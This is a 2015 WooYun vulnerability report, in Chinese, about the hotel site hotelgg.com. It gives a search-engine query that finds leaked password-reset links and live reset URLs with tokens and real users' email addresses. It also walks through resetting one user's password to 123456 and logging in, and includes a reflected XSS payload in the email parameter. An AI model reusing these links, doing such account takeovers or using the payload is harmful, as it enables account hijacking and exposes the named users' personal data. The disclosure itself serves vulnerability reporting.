当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109582

漏洞标题:酒店哥哥网存在设计缺陷+xss,可任意无限改掉用户的密码(附经典案例)

相关厂商:酒店哥哥

漏洞作者: 0x 80

提交时间:2015-04-28 15:55

修复时间:2015-06-12 15:56

公开时间:2015-06-12 15:56

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

酒店哥哥网存在设计缺陷+xss,可任意无限改掉用户的密码(附经典案例)

详细说明:

inurl:http://www.hotelgg.com/member/getpassword?code=

3478.png


http://www.hotelgg.com/member/getpassword?code=41a989327fcbb1ff6SEXOmuM9cNSIyu4ISsFeE0cjOhcvXnULLTE6A5DxnXZPYpFIjBnVYQfuwoEDu9bBm60Fwk&email=298168099@qq.com

269.png


http://www.hotelgg.com/member/getpassword?code=010af237e4f1370fWfdT47UpFMiLGsdWC6k%2FPt0p4FNwftajvhXrQM%2BWumS%2BNz2r%2FsQAr2JCIeLfCWSGxTDGTHk&email=644328887@qq.com
http://www.hotelgg.com/member/getpassword?code=e185a6271158e68bO5RdIywh%2B7GMZTRwSVxXSyqqWb%2FopwiNILlMtuqo8Elb0xJGDL5hfq%2Fkp5EBzH5MUKujPMzi&email=daihuan@cnhnb.com
有两个不能改了,不过我们可以改这个
http://www.hotelgg.com/member/getpassword?code=e185a6271158e68bO5RdIywh%2B7GMZTRwSVxXSyqqWb%2FopwiNILlMtuqo8Elb0xJGDL5hfq%2Fkp5EBzH5MUKujPMzi&email=daihuan@cnhnb.com

489.png


密码改成123456
看看

4892.png


登录看看
daihuan@cnhnb.com 123456

3689.png


xss
http://www.hotelgg.com/member/getpassword?code=010af237e4f1370fWfdT47UpFMiLGsdWC6k%2FPt0p4FNwftajvhXrQM%2BWumS%2BNz2r%2FsQAr2JCIeLfCWSGxTDGTHk&email=%3Cscript%3Ealert%28%22%22%29%3C/script%3E%3C

3681.png


http://www.hotelgg.com/member/getpassword?code=010af237e4f1370fWfdT47UpFMiLGsdWC6k%2FPt0p4FNwftajvhXrQM%2BWumS%2BNz2r%2FsQAr2JCIeLfCWSGxTDGTHk&email=


新密码重设的接口

漏洞证明:

9032.png


可以无限修改密码的接口
:http://www.hotelgg.com/member/getpassword?code=e185a6271158e68bO5RdIywh%2B7GMZTRwSVxXSyqqWb%2FopwiNILlMtuqo8Elb0xJGDL5hfq%2Fkp5EBzH5MUKujPMzi&email=daihuan@cnhnb.com

修复方案:

版权声明:转载请注明来源 0x 80@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝